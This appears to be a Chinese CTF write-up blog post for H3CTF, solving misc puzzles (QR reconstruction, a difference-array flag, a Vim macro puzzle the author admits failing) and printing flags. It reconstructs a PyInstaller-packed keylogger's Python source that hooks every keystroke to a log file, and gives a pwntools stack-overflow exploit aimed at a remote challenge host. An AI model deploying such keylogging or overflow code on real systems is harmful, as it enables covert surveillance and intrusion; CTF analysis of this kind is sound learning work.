            block = idct(s_hat, norm='ortho').reshape(BS, BS)
            image[i:i+BS, j:j+BS] = block
            k += 1

    # 归一化为0-255
    mn, mx = image.min(), image.max()
    img_scaled = ((image - mn) / (mx - mn) * 255).astype(np.uint8)
    print("✅ 图像重建完成")
    return img_scaled

# === Step 4: 二值化保存 ===
def save_candidates(img_array):
    from skimage.filters import threshold_otsu
    thr = threshold_otsu(img_array)
    bw = (img_array > thr).astype(np.uint8) * 255
    bw_inv = 255 - bw

    Image.fromarray(img_array).save(os.path.join(base_dir, "reconstructed_gray.png"))
    Image.fromarray(bw).save(os.path.join(base_dir, "reconstructed_bw.png"))
    Image.fromarray(bw_inv).save(os.path.join(base_dir, "reconstructed_bw_inv.png"))
    print("✅ 已保存候选图片: reconstructed_gray.png / reconstructed_bw.png / reconstructed_bw_inv.png")
    return [os.path.join(base_dir, "reconstructed_bw.png"), os.path.join(base_dir, "reconstructed_bw_inv.png")]

# === Step 5: 自动尝试解码 QR ===
def try_decode(image_paths):
    decoded = []
    try:
        from pyzbar.pyzbar import decode as zbar_decode
        for img_path in image_paths:
            img = Image.open(img_path)
            res = zbar_decode(img)
            if res:
                for r in res:
                    decoded.append(r.data.decode(errors='ignore'))
    except Exception:
        pass

    try:
        import cv2
        detector = cv2.QRCodeDetector()
        for img_path in image_paths:
            im = cv2.imread(img_path)
            data, pts, _ = detector.detectAndDecode(im)
            if data:
                decoded.append(data)
    except Exception:
        pass
    return decoded

# === 主流程 ===
if __name__ == "__main__":
    print("📥 开始读取 A.txt 和 output.txt ...")
    A = load_A_from_txt(a_txt_path)
    output = load_output_from_txt(out_txt_path)

    print("🔧 正在重建二维码图像 ...")
    img = reconstruct(A, output)

    print("🖼️ 保存二值化图片 ...")
    candidates = save_candidates(img)

    print("🔍 尝试自动解码二维码 ...")
    results = try_decode(candidates)
    if results:
        print("\n🎉 解码成功!Flag 内容如下:")
        for r in results:
            print(">>>", r)
    else:
        print("\n⚠️ 未能自动识别二维码,请尝试放大图片或手动扫码。")

拿到还原的三张图片,可以用微信隔远一点扫出 flag 或者自己画一个大致二维码

H3CTF{c0mPr3SseD_s3ns1ng_by_Tao}

🎄 SegmentTree

考察线段树区间加法。

solve.py:

# 读取输入数据
data = """38 36
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 38 48
1 14 3
1 1 21
3 14 16
4 14 3
4 4 14
6 14 15
6 10 2
6 6 36
8 10 8
8 9 16
9 9 8
12 14 10
13 14 12
14 14 3
16 38 1
16 22 15
16 19 23
16 17 8
16 16 24
19 19 17
21 22 31
21 21 21
24 38 2
24 26 32
24 25 12
24 24 20
28 35 33
28 33 11
28 32 6
28 29 2
29 29 6
31 32 9
32 32 6
35 35 30
38 38 74"""

lines = data.strip().split('\n')

# 解析 n 和 m
n, m = map(int, lines[0].split())

# 初始化差分数组 (1-indexed,多开一些空间)
diff = [0] * (n + 2)

# 处理每个操作
for i in range(2, 2 + m):  # 跳过前两行(n m 和初始数组)
    l, r, x = map(int, lines[i].split())
    diff[l] += x
    if r + 1 <= n:
        diff[r + 1] -= x

# 通过差分数组计算最终数组
arr = [0] * (n + 1)
for i in range(1, n + 1):
    arr[i] = arr[i - 1] + diff[i]

# 转换为字符得到 flag
flag = ''.join(chr(arr[i]) for i in range(1, n + 1))
print(flag)

H3CTF{Wow_U_kn0w_Wh@t_1s_S3gment_Tr33}

📧 神秘邮件

题目描述:某个神秘的晚上,你的邮箱里突然收到了 hanaraiN 的一封神秘邮件,里面包含着两个神秘文件。你百思不得其解,打算去线下拷打 ta 发生了什么。结果,到了宿舍之后,你只看到了电脑屏幕上纯黑的 /bin/bash 和一片空白的 vim.

备注:flag 格式为 h3ctf{...}

附件给了一个包含一系列 vim 宏指令的 key.vim 和一个含有一系列英文的 lock.txt 文本,猜测需要对 lock.txt 执行 key.vim 里面的 vim 指令。

key.vim 内容:

set filetype=markdown<CR>gg0/her<CR>"ay2l/matter<CR>3b4l"by2l:4<CR>ww"aP"bp?ec<CR>r3llllR{}<Esc>magg0/have<CR>b"ay2wtg;Ft;"byw$Tn;l"cywgwip^"dy4lGkkkg_^VFadalem<Esc>"eyiw:6<CR>wgeh^VhxfmP"fyiw`a"aPhdiw`aPkhhhhhhhhx`awgep"bpP"cpP"dPl"epp"fpa?<Esc>bbb6hx3hxP:%s/aa/arra/g<CR>``wwwxPpi4u7HoR<Esc>4w^VaBoFhdgg0O# ^Op<Esc>:%s/  //g<CR>/{<CR>wwllxp^VU:%s/e/3/g<CR>gg0:.,$d<CR>iWhere did my flag go??

其中 gg0:.,$d<CR>i 表示把文件内容从首行到末行全部删除,然后进入插入模式。

所以我们实际需要对 lock.txt 执行的vim 指令实际为:

set filetype=markdown<CR>gg0/her<CR>"ay2l/matter<CR>3b4l"by2l:4<CR>ww"aP"bp?ec<CR>r3llllR{}<Esc>magg0/have<CR>b"ay2wtg;Ft;"byw$Tn;l"cywgwip^"dy4lGkkkg_^VFadalem<Esc>"eyiw:6<CR>wgeh^VhxfmP"fyiw`a"aPhdiw`aPkhhhhhhhhx`awgep"bpP"cpP"dPl"epp"fpa?<Esc>bbb6hx3hxP:%s/aa/arra/g<CR>``wwwxPpi4u7HoR<Esc>4w^VaBoFhdgg0O# ^Op<Esc>:%s/  //g<CR>/{<CR>wwllxp^VU:%s/e/3/g<CR>

其中 <Esc>和 <CR> 分别代表 Esc 键和回车键。

上网搜索可以一次性对 lock.txt 执行一系列 Vim 宏指令的方法是通过 vim 录制宏的方式,需要了解预录制宏的文件是怎么使用。

本来尝试通过在普通模式下录制宏,执行

# <Esc>先进入普通模式
qa #用小写字母 a 命名宏
执行一系列宏指令
q #结束宏指令录制
@a #执行宏 'a'

也尝试了 :source <filename> 将某个文件(比如这里的 key.vim )当做一个 vim 脚本文件执行,但是报错;也尝试用 let @x = '...' 将这段操作序列包裹起来,这样脚本文件执行完之后,x 就会变成一个预录制的宏。最后通过 @x 执行一遍这个宏,从寄存器里找到消失的 flag ,依旧报错 O.O。

看了官方题解,为了让已有的操作序列能够被识别成宏,需要将 <Esc> 和 <CR> 分别替换为字节 1B 和 0D ,然后再用 let @x = '...' 将删除结尾部分 vim 指令的 key.vim 里面的 vim 操作序列包裹起来,然后再通过 @x 执行一遍这个宏,

set filetype=markdown0Dgg0/her0D"ay2l/matter0D3b4l"by2l:40Dww"aP"bp?ec0Dr3llllR{}1Bmagg0/have0Db"ay2wtg;Ft;"byw$Tn;l"cywgwip^"dy4lGkkkg_^VFadalem1B"eyiw:60Dwgeh^VhxfmP"fyiw`a"aPhdiw`aPkhhhhhhhhx`awgep"bpP"cpP"dPl"epp"fpa?1Bbbb6hx3hxP:%s/aa/arra/g0D``wwwxPpi4u7HoR1B4w^VaBoFhdgg0O# ^Op1B:%s/  //g0D/{0Dwwllxp^VU:%s/e/3/g0D
set filetype=markdown0x0Dgg0/her0x0D"ay2l/matter0x0D3b4l"by2l:40x0Dww"aP"bp?ec0x0Dr3llllR{}0x1Bmagg0/have0x0Db"ay2wtg;Ft;"byw$Tn;l"cywgwip^"dy4lGkkkg_^VFadalem0x1B"eyiw:60x0Dwgeh^VhxfmP"fyiw`a"aPhdiw`aPkhhhhhhhhx`awgep"bpP"cpP"dPl"epp"fpa?0x1Bbbb6hx3hxP:%s/aa/arra/g0x0D``wwwxPpi4u7HoR0x1B4w^VaBoFhdgg0O# ^Op0x1B:%s/  //g0x0D/{0x0Dwwllxp^VU:%s/e/3/g0x0D

从寄存器拿到 flag :

?不知道为什么拿不到ww

⌨️ 键盘记录器

用 IDA 发现这个程序含有许多 pyinstall 的信息,猜测是 pyinstaller 打包的可执行程序。用 die 查看主要是什么 python 版本的程序,然后用 pyinstxtractor-2025.02 将 chall.exe 解包还原成 python 源码形式,在 chall.exe_extracted 目录下有一个 chall.pyc 文件,主要卡在反编译 chall.pyc 文件上,尝试用 pycdc 反编译安装失败,官方题解推荐上网找支持翻译3.13 pyc 的程序 or 网站,最后找到 https://www.pylingual.io/ 支持在线反编译 pyc,把 chal.pyc 丢给他翻译可以得到

把这个网站得到的以下字节码丢给AI翻译获得更准确的代码逻辑

0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (keyboard)
6 STORE_NAME 0 (keyboard)

8 BUILD_LIST 0
10 STORE_NAME 1 (log_dict)

12 LOAD_CONST 2 (code object on_key_event)
14 MAKE_FUNCTION
16 STORE_NAME 2 (on_key_event)

18 LOAD_NAME 3 (print)
20 PUSH_NULL
22 LOAD_CONST 3 ("press ESC to exit")
24 CALL 1
26 POP_TOP

28 LOAD_NAME 0 (keyboard)
30 LOAD_ATTR 8 (hook)
32 PUSH_NULL
34 LOAD_NAME 2 (on_key_event)
36 CALL 1
38 POP_TOP

40 LOAD_NAME 0 (keyboard)
42 LOAD_ATTR 10 (wait)
44 PUSH_NULL
46 LOAD_CONST 4 ("esc")
48 CALL 1
50 POP_TOP

52 LOAD_NAME 6 (bytearray)
54 PUSH_NULL
56 LOAD_NAME 1 (log_dict)
58 CALL 1
60 STORE_NAME 7 (log_bytearray)

62 LOAD_NAME 8 (open)
64 PUSH_NULL
66 LOAD_CONST 5 ("keyboard.log")
68 LOAD_CONST 6 ("wb")
70 CALL 2
72 BEFORE_WITH
74 STORE_NAME 9 (out_file)

76 LOAD_NAME 9 (out_file)
78 LOAD_ATTR 21 (NULL|self + write)
80 LOAD_NAME 7 (log_bytearray)
82 CALL 1
84 POP_TOP

86 LOAD_CONST 1 (None)
88 LOAD_CONST 1 (None)
90 LOAD_CONST 1 (None)
92 CALL 2
94 POP_TOP
96 RETURN_CONST 1 (None)
98 PUSH_EXC_INFO
100 WITH_EXCEPT_START 0
102 TO_BOOL
104 POP_JUMP_IF_TRUE 1 (to 106)
106 RERAISE 2
108 POP_TOP
110 POP_EXCEPT
112 POP_TOP
114 POP_TOP
116 RETURN_CONST 1 (None)
118 COPY 3
120 POP_EXCEPT
122 RERAISE 1


0 LOAD_FAST 0 (e)
2 LOAD_ATTR 0 (event_type)
4 LOAD_GLOBAL 2 (keyboard)
6 LOAD_ATTR 4 (KEY_DOWN)
8 COMPARE_OP 88 (==)
10 POP_JUMP_IF_FALSE 70 (to 46)

12 LOAD_GLOBAL 6 (log_dict)
14 LOAD_ATTR 9 (NULL|self + append)
16 LOAD_FAST 0 (e)
18 LOAD_ATTR 10 (scan_code)
20 CALL 1
22 POP_TOP

24 LOAD_FAST 0 (e)
26 LOAD_ATTR 12 (name)
28 LOAD_CONST 1 ("shift")
30 COMPARE_OP 88 (==)
32 POP_JUMP_IF_FALSE 22 (to 44)

34 LOAD_GLOBAL 6 (log_dict)
36 LOAD_ATTR 9 (NULL|self + append)
38 LOAD_CONST 2 (1)
40 CALL 1
42 POP_TOP
44 RETURN_CONST 0 (None)

46 RETURN_CONST 0 (None)

48 LOAD_FAST 0 (e)
50 LOAD_ATTR 0 (event_type)
52 LOAD_GLOBAL 2 (keyboard)
54 LOAD_ATTR 14 (KEY_UP)
56 COMPARE_OP 88 (==)
58 POP_JUMP_IF_FALSE 70 (to 94)

60 LOAD_FAST 0 (e)
62 LOAD_ATTR 12 (name)
64 LOAD_CONST 1 ("shift")
66 COMPARE_OP 88 (==)
68 POP_JUMP_IF_FALSE 53 (to 92)

70 LOAD_GLOBAL 6 (log_dict)
72 LOAD_ATTR 9 (NULL|self + append)
74 LOAD_FAST 0 (e)
76 LOAD_ATTR 10 (scan_code)
78 CALL 1
80 POP_TOP

82 LOAD_GLOBAL 6 (log_dict)
84 LOAD_ATTR 9 (NULL|self + append)
86 LOAD_CONST 3 (0)
88 CALL 1
90 POP_TOP
92 RETURN_CONST 0 (None)

94 RETURN_CONST 0 (None)

96 RETURN_CONST 0 (None)
import keyboard

log_dict = []

def on_key_event(e):
    if e.event_type == keyboard.KEY_DOWN:
        log_dict.append(e.scan_code)
        if e.name == "shift":
            log_dict.append(1)
        return

    if e.event_type == keyboard.KEY_UP:
        if e.name == "shift":
            log_dict.append(e.scan_code)
            log_dict.append(0)
        return

print("press ESC to exit")

keyboard.hook(on_key_event)
keyboard.wait("esc")

log_bytearray = bytearray(log_dict)

with open("keyboard.log", "wb") as out_file:
    out_file.write(log_bytearray)

就是记录按下的每个按键然后把键盘码输出到 keyboard.log 里面,因此可以根据题目信息和程序信息得知下发的原本的 keyboard.log 就是出题人手敲出 flag 的按键信息(但是里面信息会被我们的按键覆盖,所以要保留一份未覆盖的),因此可以写个脚本复原

keyboard.log 内容:

复原脚本:

import os

scan_code_to_char = {
    0x00: 'No key',  # No key
    0x01: 'Esc',     # Escape key
    0x02: '1',       # 1 key
    0x03: '2',       # 2 key
    0x04: '3',       # 3 key
    0x05: '4',       # 4 key
    0x06: '5',       # 5 key
    0x07: '6',       # 6 key
    0x08: '7',       # 7 key
    0x09: '8',       # 8 key
    0x0A: '9',       # 9 key
    0x0B: '0',       # 0 key
    0x0C: '-',       # Minus key
    0x0D: '=',       # Equals key
    0x0E: 'Backspace',  # Backspace key
    0x0F: 'Tab',     # Tab key
    0x10: 'Q',       # Q key
    0x11: 'W',       # W key
    0x12: 'E',       # E key
    0x13: 'R',       # R key
    0x14: 'T',       # T key
    0x15: 'Y',       # Y key
    0x16: 'U',       # U key
    0x17: 'I',       # I key
    0x18: 'O',       # O key
    0x19: 'P',       # P key
    0x1A: '[',       # Left bracket
    0x1B: ']',       # Right bracket
    0x1C: 'Enter',   # Enter key
    0x1D: 'Ctrl',    # Ctrl key
    0x1E: 'A',       # A key
    0x1F: 'S',       # S key
    0x20: 'D',       # D key
    0x21: 'F',       # F key
    0x22: 'G',       # G key
    0x23: 'H',       # H key
    0x24: 'J',       # J key
    0x25: 'K',       # K key
    0x26: 'L',       # L key
    0x27: ';',       # Semicolon key
    0x28: "'",       # Quote key
    0x29: '`',       # Backtick key
    0x2A: 'Shift',   # Shift key
    0x2B: '\\',      # Backslash key
    0x2C: 'Z',       # Z key
    0x2D: 'X',       # X key
    0x2E: 'C',       # C key
    0x2F: 'V',       # V key
    0x30: 'B',       # B key
    0x31: 'N',       # N key
    0x32: 'M',       # M key
    0x33: ',',       # Comma key
    0x34: '.',       # Period key
    0x35: '/',       # Slash key
    0x36: 'Shift',   # Right Shift key
    0x37: '*',       # NumPad Multiply key
    0x38: 'Alt',     # Alt key
    0x39: 'Space',   # Space key
    0x3A: 'CapsLock',# CapsLock key
    0x3B: 'F1',      # F1 key
    0x3C: 'F2',      # F2 key
    0x3D: 'F3',      # F3 key
    0x3E: 'F4',      # F4 key
    0x3F: 'F5',      # F5 key
    0x40: 'F6',      # F6 key
    0x41: 'F7',      # F7 key
    0x42: 'F8',      # F8 key
    0x43: 'F9',      # F9 key
    0x44: 'F10',     # F10 key
    0x45: 'NumLock', # NumLock key
    0x46: 'ScrollLock',# ScrollLock key
    0x4B: '←',# NumPad 4 key
    0x4D: '→',# NumPad 6 key
}

base_dir = r"E:\CTF\2025-ctf\H_3CTF\Misc"
file_path = os.path.join(base_dir, "key.log")


def read_keyboard_log(file_path):
    with open(file_path, 'rb') as file:
        binary_data = file.read()
    log_dict = list(binary_data)
    log_string = ""
    record_index = 0
    while record_index < len(log_dict):
        if log_dict[record_index] == 0x2A:
            if log_dict[record_index+1] == 0x01:
                log_string += "Shift_Down "
            else:
                log_string += "Shift_Up "
            record_index += 1
        else:
            log_string += scan_code_to_char[log_dict[record_index]]
            log_string += " "
        record_index += 1
    return log_string

# 读取并打印转换后的字符串
log_string = read_keyboard_log("keyboard.log")
print("Recorded string:", log_string)

执行得到:

Recorded string: Shift_Down H C N O T I W M Shift_Up W Shift_Down - Shift_Up Shift_Down ← ← Shift_Up Ctrl C → Ctrl V ← ← ← ← ← ← ← ← ← ← ← 3 → → → Backspace Backspace → Shift_Down F Shift_Up Shift_Down [ Shift_Up E ← Shift_Down → → Shift_Up Ctrl X → Ctrl V Backspace Shift_Down - Shift_Up K Shift_Down N Shift_Up 0 → Backspace → → H Shift_Down O Shift_Up → → O T S B V V Shift_Down 0 Shift_Up Backspace Shift_Down - Shift_Up 1 T Shift_Down [ Shift_Up Backspace Shift_Down ] Shift_Up ← ← ← ← ← ← Backspace ← Backspace Shift_Down ← Shift_Up Ctrl X → Ctrl V ← H ← ← T Ctrl V Shift_Down - Shift_Up

直接在记事本跟着操作记录敲一遍

H3CTF{We_kN0w_hOw_to_shovv_1t}

Pwn

🏊 ezoverflow

exp.py:

from pwn import *
 
io = remote("82.157.117.253",34917)
 
vuln_addr=0x4011B6
ret_addr=0x40101a
payload=b'a'*32 #把栈帧读满
payload+=b'a'*0x8 #覆盖func1_rbp
payload+=p64(ret_addr)
payload+=p64(vuln_addr)

io.sendline(payload)
io.interactive()

官方WP:

渗透 | H^3 CTF Doc

上一篇
下一篇